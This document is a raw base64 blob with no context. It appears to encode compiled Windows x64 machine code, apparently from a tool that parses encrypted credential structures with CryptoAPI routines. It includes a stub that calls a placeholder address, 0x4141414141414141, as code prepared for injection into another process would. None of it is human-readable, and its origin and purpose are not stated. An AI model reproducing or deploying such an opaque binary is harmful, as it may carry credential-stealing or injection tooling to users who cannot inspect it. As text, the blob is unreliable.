JTCQgRI1LIEyLhCTYAAAASI1UJFBIi4wksAAAAP/QhcB1J4uUJLgAAACD+iAPlMOJXCRAhdt1K0SNQCBIjQ0Xvg8A6EpfAADrGYvQSI0Np74PAOsJM9JIjQ1Mvw8A6C9fAABIi4wksAAAAP8V2WcVAOsOi9BIjQ3Ovw8A6BFfAABIi0wkSP8VvmcVAOsOi9BIjQ1TwA8A6PZeAABIi4wkoAAAAP8VoGcVAOsOi9BIjQ3VwA8A6NheAADrEEiNDXfBDwDoyl4AAItcJECLw0iBxJAAAABbw8zMzEiLxEiJWAhIiXAQSIl4GEFUQVZBV0iD7GBFi/lNi+CL8kyL8TPbiVjIRI1LCEyNBazBDwBIjRVtuA8ASI1I2P8Vk2YVAIXAD4gIAQAAIVwkKEiNRCRESIlEJCBEjUsETI2EJKgAAABIjRVyuA8ASItMJFD/FVdmFQCFwA+ItwAAAIuUJKgAAACNS0D/FTfaDQBIi/hIhcAPhKkAAAAhXCQwiXQkKEyJdCQgRIuMJKgAAABMi8BIjVQkSEiLTCRQ/xU7ZhUAhcB4VkUzyUWLx0mL1EiLTCRI/xUbZhUARTPJRI1DIEiLlCSgAAAASItMJEj/FellFQCFwA+Zw4lcJECF23UOi9BIjQ0TwQ8A6KZdAABIi0wkSP8V02UVAOsOi9BIjQ2IwQ8A6ItdAABIi8//FVrZDQDrDovQSI0N/8EPAOhyXQAAM9JIi0wkUP8VlWUVAOsOi9BIjQ1ywg8A6FVdAADrEEiNDRTDDwDoR10AAItcJECLw0yNXCRgSYtbIEmLcyhJi3swSYvjQV9BXkFcw8zMSIlcJAhIiWwkEEiJdCQYV0FUQVVBVkFXSIPsUEiLtCTAAAAAM/9Mi7QkyAAAAEyL6UiNDSTDDwBBi+lNi/hEi+JIIT5BIT7/FV/YDQBIi9hIhcAPhJIAAABIjRUcww8ASIvI/xU72A0ATIvQSIXAdGOLhCS4AAAARIvNTIl0JEhNi8dIiXQkQEGL1IlEJDhJi81Ii4QksAAAAEiJRCQwi4QkqAAAAIlEJChIi4QkoAAAAEiJRCQgQf/ShcBAD5THhcB0HIvQSI0Nz8IPAOhSXAAA6wxIjQ1hww8A6ERcAABIi8v/FavXDQDrFP8VK9gNAIvQSI0N0sMPAOglXAAATI1cJFCLx0mLWzBJi2s4SYtzQEmL40FfQV5BXUFcX8PMSIlcJAhIiWwkEEiJdCQYV0FWQVdIg+wgjTRVAQAAAIvqTIv5i9ZIA9K5QAAAAEmL2P8V3dcNAEiL+EiFwHQ4RTP2he10J0UPtg9DjQw2i9ZMjQXVww8AK9FIjQxP6Kb4//9B/8ZJ/8dEO/Vy2UiF23QFjQQ2iQNIi1wkQEiLx0iLbCRISIt0JFBIg8QgQV9BXl/DzEiJXCQISIl0JCBVV0FWSIvsSIPsYINl4ABIjUXwTYvxRIlF8EiJVfhMjQV5ww8Av0AAAABIiUXoRTPJiXwkIEiNVSjHRfRGAAAAx0XkAQAAAP8V4WMVAIvYhcAPhcIAAABEi0VASI1FMEiLTShMjU3gvgABAABJi9aJdCQ4SIlEJDAhXCQoSINkJCAA/xWuYxUAi9iFwHVxi1Uwi8//Fd3WDQBIi31ISIkHSIXAdFOLTTBMjU3gRItFQEmL1ol0JDhIi3VQSIl0JDCJTCQoSItNKEiJRCQg/xVjYxUAi9iFwHQ0i9BIjQ1Mww8A6H9aAABIiw//FU7WDQCDJgBIiQfrFbsOAAmA6w6L0EiNDbbDDwDoWVoAAEiLTSj/FQdjFQDrDovQSI0NLMQPAOg/WgAATI1cJGCLw0mLWyBJi3M4SYvjQV5fXcNIi8RIiVgISIlwEEiJeBhMiXAgVUiNaMFIgeyQAAAAD1fAx0CIAEAAAEmL8EGL+UyLwkUzyUiNVQcPEUUPDxFFH/8VqWIVAIvYhcAPhfIBAABIi00HSI1F90SNcwTHRCQoQAAAQEWLzkiJRCQgTI1F/0iNFSjEDwD/FVpiFQCL2IXAD4WhAQAASItNB0iNRffHRCQoQAAAQEyNRftFi85IiUQkIEiNFS3EDwD/FSdiFQCL2IXAD4VlAQAAIVwkQESNR/6LRftIjU0PjXsgSIvWiXwkOEyNTf9IiUwkMLmxAAAASIlEJChEiXQkIP8VLmEVAIvYhcAPhRsBAABMjUUDi9dIjU0P6Bn9//9Ii/hIhcAPhPkAAABEi00DjXNASItNB0iNFefDDwBBg8H+iXQkIEyLwP8VrmEVAIvYhcAPhbMAAABEi0VvSI1F90iLVWdEjXYCSItNB0UzyUSJdCQ4SIlEJDAhXCQoSINkJCAA/xWDYRUAi9iFwHVzi1X3i87/FbLUDQBIi3V3SIkGSIXAdFWLTfdFM8lEi0VvSItVZ0SJdCQ4TIt1f0yJdCQwiUwkKEiLTQdIiUQkIP8VN2EVAIvYhcB0PovQSI0NYMMPAOhTWAAASIsO/xUi1A0AQYMmAEiJBuseuw4ACYDrF0iNDcvDDwDrB0iNDVLEDwCL0OgjWAAASIvP/xXy0w0A6ye7DgAJgOsgSI0N8sQPAOsQSI0NicUPAOsHSI0NUMYPAIvQ6PFXAABIi00H/xWfYBUA6w6L0EiNDfTGDwDo11cAAEyNnCSQAAAAi8NJi1sQSYtzGEmLeyBNi3MoSYvjXcNIiUwkCEiD7ChIi0QkMEiDwDBIi0wkMEiJQRhIi0QkMEiLTCQwi0ksiUgQSItEJDBIg8AwSItMJDBEi0EoSItMJDCLUSxIi8hIuEFBQUFBQUFB/9BIi0wkMIlBDDPASIPEKMPMuHJwaWvDzMxIi8RIiVgISIlwEEiJeBhMiXAgVUiNaKlIgeywAAAAZg9vBV1DFABIjRXOxg8ATYvwSIlVD0yNRd9IiVUvSI0F0MYPAEyJRCQgSIlFF0iNFUD///9IjQXRxg8AZg9/RR9IiUU3QYvxSI1FL2YPf0U/SIlF10yNTc9IjQV5////x0XPAQAAACvCM/9Ei8Dofo0AAIXAdFtNi85Ei8Yz0uhViQAASIvYSIXAdDtMjUXvSIvQSI1N3+ipiQAAhcB0Hot9+4X/dBeLRf9Ji85Ii1UHO/APQsZEi8Dol/QLAEiLy/8VPtINAEiNTd/oKVEAAOsMSI0NTMYPAOhPVgAATI2cJLAAAACLx0mLWxBJi3MYSYt7IE2LcyhJi+Ndw0iJXCQISIlsJBiJVCQQVldBVEFWQVdIg+xATYvwSI0VvKcPAEmL2UyL4UmLzkUzyUUzwEAy7f8VFF4VAIv4hcAPiKcBAABJiw5MjQVYqQ8Ag2QkIABIjRWsxg8AQbkgAAAA/xUwXhUAi/hBvwQAAACFwHg0g2QkKABIjUQkeEmLDkiNFdCvDwBFi89IiUQkIEyLw/8Vr10VAIv4hcB5IkiNDYLGDwDrB0iNDfnGDwCL1+h6VQAASYsOM9L/FZ9dFQCL34X/D4gyAQAASIu0JJAAAABIjRVWrw8ASIvORTPJRTPA/xVnXRUAi/iL2IXAD4i7AAAAg2QkKABIjUQkeEiLDkiNFU+vDwBFi89IiUQkIEyLvCSYAAAATYvH/xUmXRUAi9iFwHkZi9BIjQ2Hxw8A6PpUAABIiw4z0v8VH10VAIv7hdt4d0GLF7lAAAAAQLUB/xXo0A0ASIu8JKgAAABIiQdIhcB0ZINkJDAATIvARYsPSIuUJKAAAABIiw7HRCQoIAAAAEyJZCQg/xXvXBUAi9iFwHl0i9BIjQ0IyA8A6ItUAABIi8//FVrQDQDrHIvQSI0Nb8cPAOhyVAAAi9dIjQ1xyA8A6GRUAACF23k7SYsOM9L/FYVcFQBAhO10K0iLDjPS/xV1XBUA6x6L10iNDTLGDwDoNVQAAIvfi9dIjQ2yyA8A6CVUAABMjVwkQIvDSYtbMEmLa0BJi+NBX0FeQVxfXsPMzEyL3EmJWwhJiXMYSYl7IIlUJBBBVkiB7FABAABBi/FNi/AzwEiJRCRwiUQkeEmNgyj///9IiUQkOEiNRCRgSIlEJDBJjUNASIlEJChJjYMw////SIlEJCBNjUsQTI1EJGjocv3//4vYiUQkUIXAD4hpAgAAuQ4AAACJjCSgAAAAg6QkpAAAAABIjQVprQ8ASImEJKgAAADHhCSwAAAADwAAAMeEJLQAAAANAAAASI0FZMgPAEiJhCS4AAAAx4QkwAAAACAAAACJjCTEAAAASIuEJJABAABIiYQkyAAAAIOkJJAAAAAAx4QklAAAAAMAAABIjYQkoAAAAEiJhCSYAAAAg2QkKABIjYQkqAEAAEiJRCQgRI1JEkyNhCQwAQAASI2UJJAAAABIi0wkYP8V5loVAIvYiUQkUIXAD4hXAQAAi5QkaAEAALlAAAAA/xXGzg0ASIv4SIXAD4RHAQAAg2QkMADHRCQoIAAAAEiNhCQwAQAASIlEJCBEi4wkaAEAAEyLx0iNVCRYSItMJGj/FcVaFQCL2IlEJFCFwA+I3QAAALtYAAAARIvDM9JIjYwk0AAAAOgY7AsAiZwk0AAAAMeEJNQAAAABAAAASI1EJHBIiYQk2AAAAI1LtImMJOAAAABIi4QkgAEAAEiJhCToAAAAi4QkiAEAAImEJPAAAABIi4QkoAEAAEiJhCT4AAAAx4QkAAEAABAAAACDZCRIAEiNhCTAAQAASIlEJECLhCS4AQAAiUQkOEiLhCSwAQAASIlEJDCJTCQoSI1EJHBIiUQkIEyNjCTQAAAARIvGSYvWSItMJFj/Ff1ZFQCL2IlEJFBIi0wkWP8VlFkVAOsOi9BIjQ2pxg8A6HxRAABIi8//FUvNDQDrDovQSI0NEMcPAOhjUQAASItMJGD/FWBZFQBIi4wkgAAAAP8VIs0NADPSSIuMJIgAAAD/FWpZFQAz0kiLTCRo/xVdWRUA6w6L0EiNDUrHDwDoHVEAAOsQSI0NvMcPAOgPUQAAi1wkUIvDTI2cJFABAABJi1sQSYtzIEmLeyhJi+NBXsPMzMxIi8RIiVgISIloEEiJcBhIiXggQVVBVkFXSIPsIEUz7UiL2UiFyQ+EBAEAALqEAAAAjUq8/xXCzA0ATIvoSIXAD4TqAAAADxADSI1LMEiNUQwPEQAPEEsQDxFIEA8QQyBIiUgwDxFAIESLWCxJA9PyQQ8QBAvyDxFAOEyNQgRBi0QLCEGJRUCLwEwDwEmJVUSLDBBBi9NBiU1MTY1IDE2JRVBMA8nyQg8QBAHyQQ8RRVhCi0QBCE2NUQRBiUVgSY1NMIvATAPQTYlNZEaLBAhFiUVsTYlVcEOLBBBBiUV4SY1CBEkDwEmJRXzoBb8AAEGLVUBJjU1E6Pi+AABBi1VMSY1NUOjrvgAAQYtVYEmNTWTo3r4AAEGLVWxJjU1w6NG+AABBi1V4SY1NfOjEvgAASItcJEBJi8VIi2wkSEiLdCRQSIt8JFhIg8QgQV9BXkFdw8zMSIXJdHBTSIPsIEiL2UiLSTBIhcl0Bv8VVMsNAEiLS0RIhcl0Bv8VRcsNAEiLS1BIhcl0Bv8VNssNAEiLS2RIhcl0Bv8VJ8sNAEiLS3BIhcl0Bv8VGMsNAEiLS3xIhcl0Bv8VCcsNAEiLy/8VAMsNAEiDxCBbw8zMSIvESIlYCEiJaBBIiXAYSIl4IEFUQVZBV0iD7DCNPAlIi9pMjT1OUw8Ai9dNi8dIjQ0Cxg8A6OVOAAAz9kiF2w+E6gIAAESLC0iNDQjGDwBNi8dEiUwkIIvX6MFOAABNi8dIjQ0/xg8Ai9fosE4AAEiNSwTox7wAAEyNJfBbDgBJi8zomE4AAESLSxRIjQ1Vxg8ATYvHRIlMJCCL1+h+TgAATYvHSI0NjMYPAIvX6G1OAABIjUsY6IS8AABJi8zoXE4AAESLSyhIjQ2pxg8ATYvHRIlMJCCL1+hCTgAAi2soTI01IHEOAIvFi87T6KgBdA9JixZIjQ10ng8A6B9OAAD/xkmDxgiD/gVy3A+65R1zE0iNFffhDwBIjQ1Qng8A6PtNAABIjQ2Yxg8A6O9NAABEi0ssSI0NnMYPAE2Lx0SJTCQgi9fo1U0AAEyLSzBIjQ3Sxg8ATYvHi9fowE0AAESLSzhBi8nooOT//0iJRCQoSI0N8MYPAIvXRIlMJCBNi8fomU0AAESLSzxIjQ02xw8ATYvHRIlMJCCL1+h/TQAARItLQEiNDWzHDwBNi8dEiUwkIIvX6GVNAABNi8dIjQ2jxw8Ai9foVE0AAItTQEUzwEiLS0ToBboAAEmLzOg9TQAARItLTEiNDbrHDwBNi8dEiUwkIIvX6CNNAABNi8dIjQ3xxw8Ai9foEk0AAItTTEUzwEiLS1Dow7kAAEmLzOj7TAAARItLWEGLyejb4///SIlEJChIjQ37xw8Ai9dEiUwkIE2Lx+jUTAAARItLXEiNDUHIDwBNi8dEiUwkIIvX6LpMAABEi0tgSI0Nd8gPAE2Lx0SJTCQgi9fooEwAAE2Lx0iNDa7IDwCL1+iPTAAAi1NgRTPASItLZOhAuQAASYvM6HhMAABEi0tsSI0NxcgPAE2Lx0SJTCQgi9foXkwAAE2Lx0iNDfzIDwCL1+hNTAAAi1NsRTPASItLcOj+uAAASYvM6DZMAABEi0t4SI0NE8kPAE2Lx0SJTCQgi9foHEwAAE2Lx0iNDUrJDwCL1+gLTAAAi1N4RTPASItLfOi8uAAASI0NZckPAOjwSwAASItcJFBIi2wkWEiLdCRgSIt8JGhIg8QwQV9BXkFcw8xIiVwkCFdIg+wgi/lIi8ro0Pr//0iL2EiFwHQSSIvQi8/oivz//0iLy+gK/P//SItcJDBIg8QgX8PMzMxIiVwkCEiJdCQQV0iD7CAz20iL8kiL+UiFyXQ4jVMsjUtA/xV8xw0ASIvYSIXAdCQPEAdIjVcgSI1IIA8RAA8QTxBIiRGNVuCJUCgPEUgQ6Ei6AABIi3QkOEiLw0iLXCQwSIPEIF/DzEiJXCQISIl0JBBXSIPsMEiL2kiNPWtPDwC+AgAAAEiNDX/IDwBMi8eL1uj9SgAASIXbD4TZAAAARIsLSI0NksgPAEyLx0SJTCQgi9bo20oAAEyLx0iNDcHIDwCL1ujKSgAASI1LBEUzwI1WDuh7twAASI0NBFgOAOivSgAARItLFEiNDczIDwBMi8dEiUwkIIvW6JVKAABEi0sYQYvJ6HXh//9IiUQkKEiNDfXIDwCL1kSJTCQgTIvH6G5KAABEi0scQYvJ6E7h//9IiUQkKEiNDR7JDwCL1kSJTCQgTIvH6EdKAABMi8dIjQ1VyQ8Ai9boNkoAAItTKEUzwEiLSyDo57YAAEiNDZDHDwDoG0oAAEiLXCRASIt0JEhIg8QwX8PMzMxIiVwkCEiJdCQQV0iD7CBIi/JIi/mLUSi5QAAAAIPCIP8V8sUNAEiL2EiFwHQtDxAHSI1IIA8RAA8QTxAPEUgQRItHKEiLVyDo4+cLAEiF9nQJi0cog8AgSIkGSIt0JDhIi8NIi1wkMEiDxCBfw8zMSIlcJAhIiXQkEFdIg+wwSIvaSI09100PAL4CAAAASI0NK8kPAEyLx4vW6GlJAABIhdsPhMsAAABEiwtIjQ3+xg8ATIvHRIlMJCCL1uhHSQAARItLBEiNDSTJDwBMi8dEiUwkIIvW6C1JAABEi0sISI0NWskPAEyLx0SJTCQgi9boE0kAAEyLx0iNDYnJDwCL1ugCSQAASI1LDOgZtwAASI0NQlYOAOjtSAAATIvHSI0Nm8kPAIvW6NxIAACLUwRFM8BIi0sc6I21AABIjQ0WVg4A6MFIAABMi8dIjQ2nyQ8Ai9bosEgAAItTCEUzwEiLSyToYbUAAEiNDQrGDwDolUgAAEiLXCRASIt0JEhIg8QwX8PMSIlcJAhIiWwkEEiJdCQYV0iD7CAz/0iL2UiFyQ+EUgEAALqgAAAAjU9A/xVkxA0ASIv4SIXAD4Q4AQAADxADDxEADxBLEA8RSBAPEEMgDxFAIA8QSzAPEUgwDxBDQA8RQEAPEEtQDxFIUA8QQ2APEUBgDxBLcA8RSHBIi1BgSIXSdBNIjYuAAAAA6GH8//9IiYeAAAAASItXaEiF0nQXSItPYEiD6YBIA8voQfz//0iJh4gAAABIg39wAHQ6SItPaDPASIt3YEgDy0iD7oBIA/F0HY1QFI1IQP8VtcMNAEiFwHQMDxAGDxEAi04QiUgQSImHkAAAAEiDf3gAdHZIi1dwM/ZIA1doSItvYEgD00iD7YBIA+p0VY1WLI1OQP8VcMMNAEiL8EiFwHRBDxBFAEiNVRwPEQDyDxBNEPIPEUgQi00YiUgYSI1IHEiJEYtQBEiNQhxIA8VIiUYk6Cu2AACLVghIjU4k6B+2AABIibeYAAAASItcJDBIi8dIi2wkOEiLdCRASIPEIF/DSIXJD4StAAAASIlcJAhXSIPsIEiLuYAAAABIi9lIhf90GEiLTyBIhcl0Bv8Vn8INAEiLz/8VlsINAEiLu4gAAABIhf90GEiLTyBIhcl0Bv8Ve8INAEiLz/8VcsINAEiLi5AAAABIhcl0Bv8VYMINAEiLu5gAAABIhf90J0iLTxxIhcl0Bv8VRcINAEiLTyRIhcl0Bv8VNsINAEiLz/8VLcINAEiLy/8VJMINAEiLXCQwSIPEIF/DzEiJXCQISIl0JBBXSIPsMEiL2kiNNX9KDwBMi8ZIjQ1Fxw8AM9LoFkYAAEiF2w+EsQEAAESLC0iNDTu9DwBMi8ZEiUwkIDPS6PRFAABMjUsMTIvGM9JIjQ08xw8A6N9FAABEi0tcSI0NfMcPAEyLxkSJTCQgM9LoxUUAAESLS2BIjQ2yxw8ATIvGRIlMJCAz0uirRQAARItLaEiNDejHDwBMi8ZEiUwkIDPS6JFFAABEi0twSI0NHsgPAEyLxkSJTCQgM9Lod0UAAESLS3hIjQ1UyA8ATIvGRIlMJCAz0uhdRQAASIO7gAAAAAB0HUyLxkiNDYHIDwAz0uhCRQAASIuTgAAAAOgK+v//SIO7iAAAAAB0HUyLxkiNDXrIDwAz0ugbRQAASIuTiAAAAOjj+f//SIO7kAAAAAB0dkyLxkiNDXPIDwAz0uj0RAAASIu7kAAAAEiNDTbEDwBMi8a6AgAAAOjZRAAASIX/dEVEiw9IjQ1ywg8ATIvGRIlMJCC6AgAAAOi4RAAATIvGSI0NLsQPALoCAAAA6KREAABIjU8E6LuyAABIjQ0Ewg8A6I9EAABIg7uYAAAAAHQdTIvGSI0NE8gPADPS6HREAABIi5OYAAAA6ND6//9IjQ2xUQ4A6FxEAABIi1wkQEiLdCRISIPEMF/DSIlcJAhIiWwkEEiJdCQYV0FUQVVBVkFXSIPsIEiL2UUz5EiLiYAAAABFM/8z9jPtTIvqSIXJdAxIjVNg6AP6//9Mi+BIi4uIAAAASIXJdAxIjVNo6Ov5//9Mi/hIi7uQAAAASIX/dDK6FAAAAEyNc3CNSiz/FeK/DQBIi/BIhcB0GA8QBw8RAItHEIlGEE2F9nQHSccGFAAAAEiLu5gAAABIhf90cYtPBEyNc3iLVwiDwRwD0blAAAAA/xWcvw0ASIvoSIXAdE8PEAdIjU0cDxEA8g8QTxDyDxFIEItHGIlFGESLRwRIi1cc6IXhCwCLTwREi0cISIPBHEiLVyRIA83obuELAE2F9nQMi0cIg8AcA0cESYkGSItTcLlAAAAASANTaEiLQ2BIA1N4SIPogEgD0P8VI78NAEiL+EiFwA+E3AAAAA8oAw8RAA8oSxAPEUgQDyhDIA8RQCAPKEswDxFIMA8oQ0APEUBADyhLUA8RSFAPKENgDxFAYA8oS3APEUhwTYXkdBNMi0NgSI2IgAAAAEmL1OjZ4AsATYX/dBdIi0tgSYvXTItDaEiD6YBIA8/oveALAEiF9nQeSItLaEiL1kiLQ2BIA89Mi0NwSIPogEgDyOia4AsASIXtdCJIi0twSIvVSANLaEiLQ2BIA89Mi0N4SIPogEgDyOhz4AsATYXtdBtIi0twSANLaEiLQ2BIA0t4SIPogEgDyEmJTQBIi1wkUEiLx0iLbCRYSIt0JGBIg8QgQV9BXkFdQVxfw8zMzEiJXCQQVVZXQVRBVUFWQVdIg+wgM/9Ei/pIi+lIhckPhCwBAACNX0CLy41XJP8V5b0NAEiL+EiFwA+EEgEAAEEPEEQv6I1z2IvWDxEA8kEPEEwv+PIPEUgQi0AURDv+dhuFwHQXjQwCSYvHSCvBi0QoFAPQ/0cgQTvXcuWLVyCLy0jB4gP/FY29DQBIiUcYSIXAD4S5AAAAg2QkYABEi3cURDv+D4anAAAARYX2D4SeAAAAQY0MNkmL30gr2UUz7UgD3XRsQY1VWI1K6P8VRr0NAEyL6EiFwHRXDxADDxEADxBLEA8RSBAPEEMgDxFAIA8QSzAPEUgwi0tAiUhASI1DREGLVSRJjU1ERCvySIkBSAPCQYPuREWJdVRJiUVM6OyvAABBi1VUSY1NTOjfrwAAi0wkYEiLRxj/RCRgTIksyESLcxRBA/ZBO/cPgln///9Ii1wkaEiLx0iDxCBBX0FeQV1BXF9eXcPMzMxIiVwkCFdIg+wwSIv6TI0F4EQPADPSSI0NN8QPAOh6QAAAM9tIhf8PhIwAAABEiw9MjQW9RA8AM9JEiUwkIEiNDTfEDwDoUkAAAEyNBaNEDwAz0kiNDVrEDwDoPUAAAEiNTwToVK4AAEiNDX1NDgDoKEAAAESLTxRMjQV1RA8AM9JEiUwkIEiNDU/EDwDoCkAAADlfIHYWSItXGIvDSIsUwugeAAAA/8M7XyBy6kiNDThNDgDo4z8AAEiLXCRASIPEMF/DSIlcJAhIiWwkEFZIg+wwSIvaSI01F0QPAL0CAAAASI0NK8QPAEyLxovV6Kk/AABIhdsPhKcBAABEiwtIjQ12ww8ATIvGRIlMJCCL1eiHPwAATIvGSI0NlcMPAIvV6HY/AABIjUsE6I2tAABIjQ22TA4A6GE/AABEi0sUSI0NlsMPAEyLxkSJTCQgi9XoRz8AAESLSxhIjQ3kww8ATIvGRIlMJCCL1egtPwAARItLHEGLyegN1v//SIlEJChIjQ39ww8Ai9VEiUwkIEyLxugGPwAARItLIEiNDSvEDwBMi8ZEiUwkIIvV6Ow+AABEi0skSI0NScQPAEyLxkSJTCQgi9Xo0j4AAESLSyhBi8nostX//0iJRCQoSI0NYsQPAIvVRIlMJCBMi8boqz4AAESLSyxIjQ2QxA8ATIvGRIlMJCCL1eiRPgAARItLMEiNDa7EDwBMi8ZEiUwkIIvV6Hc+AABMi8ZIjQ3NxA8Ai9XoZj4AAEiNSzRFM8CNVQ7oF6sAAEiNDaBLDgDoSz4AAEyLxkiNDcnEDwCL1eg6PgAASItLROiFrAAASI0NeksOAOglPgAATIvGSI0Ny8QPAIvV6BQ+AACLU1RFM8BIi0tM6MWqAABIjQ1uuw8A6Pk9AABIi1wkQEiLbCRISIPEMF7DzEiLxEiJWAhIiXAQSIl4GFVBVEFVQVZBV0iNaMlIgezQAAAAM9uL8k2L+EWL8UiL+UiNTY9EjWNARYvEjVM26G3XCwBFi8SNU1xIjU3P6F7XCwCF9nQlSI1Fj4vTSCv4RIvGSI1Fj0gDwooMBzBMFc9I/8IwCEmD6AF150mNVkBBi8z/FXC5DQBIi/BIhcAPhBIBAAAPKEWPSI1IQA8oTZ9Ni8YPEQBJi9cPKEWvDxFIEA8oTb8PEUAgDxFIMOhO2wsARY1GQMdEJCAUAAAATI1MJDBIi9a5BIAAAOiot///hcAPhLUAAABEi313QYvMRIt1Z0mNV1RJA9b/Ffi4DQBIi/hIhcAPhJEAAAAPKEXPDyhN30iLVV8PEQAPKEXvDxFIEA8oTf8PEUAgDxFIMA8QRCQwDxFAQItEJECJR1BIhdJ0EUWF9nQMSI1PVEWLxui72gsASItVb0iF0nQURYX/dA9JjU5UTYvHSAPP6J7aCwBMi01/RY1HVEUDxsdEJCAUAAAASIvXuQSAAADo9rb//0iLz4vY/xUjuA0ASIvO/xUauA0ATI2cJNAAAACLw0mLWzBJi3M4SYt7QEmL40FfQV5BXUFcXcPMzMxIiVwkCEyJRCQYVVZXQVRBVUFWQVdIg+xwM9tFi/lEi/JIi/lBvASAAACD+hR1DkyL6UiFyQ+EXQEAAOswTI1MJFDHRCQgFAAAAEWLxkiL10GLzOhktv//hcAPhDgBAABMi4QkwAAAAEyNbCRQSIu0JOAAAABIi6wk0AAAAEQ5pCTwAAAAdUxIhe11BUiF9nRCSIuEJPgAAABFi89IiUQkQEGL1ouEJOgAAABIi8+JRCQ4i4Qk2AAAAEiJdCQwiUQkKEiJbCQg6Gj9//+L2OnFAAAARIu0JNgAAAC5QAAAAESLpCToAAAAQ40EN0EDxIvQiYQkuAAAAP8VLrcNAEiL+EiFwA+EjgAAAEiLlCTAAAAATYvHSIvI6CfZCwBIhe10FEWF9nQPRYvGSY0MP0iL1egO2QsASIX2dBdFheR0EkuNDDdNi8RIA89Ii9bo8tgLAIuEJAABAABMi8+LjCTwAAAAQbgUAAAAiUQkMEmL1UiLhCT4AAAASIlEJCiLhCS4AAAAiUQkIOifuf//SIvPi9j/FVy2DQCLw0iLnCSwAAAASIPEcEFfQV5BXUFcX15dw8zMTIlMJCBEiUQkGEiJVCQQU1VWV0FUQVVBVkFXSIPseEyLtCToAAAASIvZM8lNhfaJjCTAAAAARIvhRIvpRIt7XEEPlMSLezyL6UHB7wPB7wOBezgDZgAAdQiNQRg7+A9C+E2F9nR1i0NYQb0OgAAAQTvFiYQk6AAAAL4UAAAAuUAAAABBD0T3i9b/Fem1DQAzyUiL6EiFwHRLSIPI/0j/wGZBOQxGdfZEOawk6AAAAESNBAC5BIAAAIl0JCBED0XpTIvNQYvNSYvW6Dq0//9Ei6wkwAAAAESL4OsMi7Qk6AAAAOsDRIvpRYXkD4SuAQAAQYvXuUAAAAD/FXq1DQBMi/BIhcAPhJQBAABEi0tASIvFTItDREj32ItDWIuUJNAAAAAbyUSJfCRQI85MiXQkSIlEJECLhCTgAAAAiUwkOEiLjCTIAAAASIlsJDCJRCQoSIuEJNgAAABIiUQkIOjq/P//hcAPhCsBAACL17lAAAAA/xUBtQ0ASIvwSIXAD4QSAQAAi0tYTIvIRYvHiXwkIEmL1ujwtf//hcAPhOwAAACLSzhIjUQkaEiJRCQoRTPJSI1EJGBEi8dIi9ZIiUQkIOjnv///hcAPhKsAAACLU2y5QAAAAP8VnbQNAEiLvCTwAAAASIkHSIXAdGVEi0NsSIvISItTcOiV1gsASIuMJPgAAABFM8mLQ2wz0kiJTCQoiQFFjUEBSIsHSItMJGBIiUQkIP8V76oNAESL6IXAdSBIiw//FQe0DQBIiQf/FR60DQCL0EiNDfW+DwDoGDgAAEiLTCRg/xX1qg0ASItMJGjoS7b//4XAdSP/FfGzDQBIjQ1Kvw8A6w3/FeKzDQBIjQ37vw8Ai9Do3DcAAEiLzv8Vq7MNAEmLzv8VorMNAEiF7XQJSIvN/xWUsw0AQYvFSIPEeEFfQV5BXUFcX15dW8NIi8RIiVgISIlwEEiJeBhMiXAgQVdIg+xwRIu8JKAAAAAz/02L8UmL8IlQ6EiJSPBEiXjYTIlI4Eg5vCTIAAAAD4SwAAAAObwk0AAAAA+EowAAAOhk5v//SIvYSIXAD4QWAQAASIuEJMAAAABNi85Ei4Qk0AAAAEiLy0iLlCTIAAAASIlEJDhIi4QkuAAAAEiJRCQwSIuEJNgAAABIiUQkKESJfCQg6JX8//+L+IXAdDhIhfZ0M0iDezAAdCyDeywAdCaLUyy5QAAAAP8V57INAEiJBkiFwHQQRItDLEiLyEiLUzDo59QLAEiLy+gf5///6YQAAABIjUQkQEUzyUiJRCQwTI1EJFCLhCSwAAAASI1MJGCJRCQoSIvWSIuEJKgAAABIiUQkIP8VQqwNAIv4hcB0RotEJEC5QAAAAEiLnCTAAAAAi9CJA/8VabINAEiLjCS4AAAASIkBSIXAdBBEiwNIi8hIi1QkSOhh1AsASItMJEj/FQayDQBMjVwkcIvHSYtbEEmLcxhJi3sgTYtzKEmL40Ffw8xIiVwkCEiJbCQQSIl0JBhXSIPscEiL6UmL8EmLyDPb/xVTsQ0AiVwkQESNQxCL+MdEJDggAAAASI1EJFAD/0iJRCQwTIvOx0QkKBAnAABIi9W5DIAAAIl8JCDoTbb//4XAdDWJXCRARI1DIMdEJDgQAAAASI1UJFBIiWwkMEyLzsdEJCgBAAAAuQyAAACJfCQg6Ba2//+L2EyNXCRwi8NJi1sQSYtrGEmLcyBJi+Nfw0iLxEiJWAhIiWgQSIlwGEiJeCBBVEFWQVdIg+xAgOEEM9v22U2L+U2L8EyL4hv2g+YCjY4CgAAA6Be///+L0I1LQIvo/xUmsQ0ASIv4SIXAdGxIg8j/SP/AZkE5HEZ19kSNBACJbCQgTIvPjY4CgAAASYvW6Iev//+FwHQ4SIuEJJAAAABNi89IiUQkMESLxUiLhCSIAAAASIvXSIlEJChJi8yLhCSAAAAAiUQkIOgtAAAAi9hIi8//FXqwDQBIi2wkaIvDSItcJGBIi3QkcEiLfCR4SIPEQEFfQV5BXMPMSIvESIlYCEiJaBBIiXAYSIl4IEFWSIPscIO8JKAAAAAASYv5SIvqTIvxdCpNhcl0JbsQAAAARDvDdRsPEAJNi8FIjUjI8w9/QMjoIf7//0iNbCRA6whBi9hIhf90QEiLz/8Vga8NAEiNTCRQvhQAAACJdCQwTIvPSIlMJChEi8ONBEUCAAAASIvVuQSAAACJRCQg6Piy//+FwHQ/6xi+FAAAAEiNTCRQO95Mi8NMD0fG6PLRCwBIi4QksAAAAEiNVCRQTIuMJKgAAABEi8ZJi85IiUQkIOgdAAAATI1cJHBJi1sQSYtrGEmLcyBJi3soSYvjQV7DzMxMiUwkIESJRCQYSIlUJBBVU1ZXQVRBVUFWQVdIi+xIg+x4i1kYuASAAABIi/lFM/+B+wmAAAAPRNiLy4ld3Og5vf//i08cRIvw6FK+//+LTxyL8Oi0vf//QY1PQESNJDBBi9T/FS+vDQBMi+hIhcAPhCcCAABEi0VYTI1PBEiLVVCLy8dEJEABAAAARIlkJDhIiUQkMItHFIlEJCjHRCQgEAAAAOh7s///hcAPhOIBAACLTxxIjUXoSIlEJChFM8lIjUXgRIvGSYvVSIlEJCDo+Ln//4XAD4SjAQAASItN4E6NBC5FM8lBjVcB/xUXpQ0AhcAPhGABAACLVyhBjU9AiVVI/xWPrg0ASIvYSIXAD4REAQAARItFSEiLyEiLVyDoi9ALAEiLTeBIjUVISIlEJChFM8lFM8BIiVwkIDPS/xXzpA0AhcAPhAMBAABIi3VoM8CBfxwDZgAAQYvWQY1/QEWL5o1IBA9EwYtNSCvIQSvOg+kQiQ6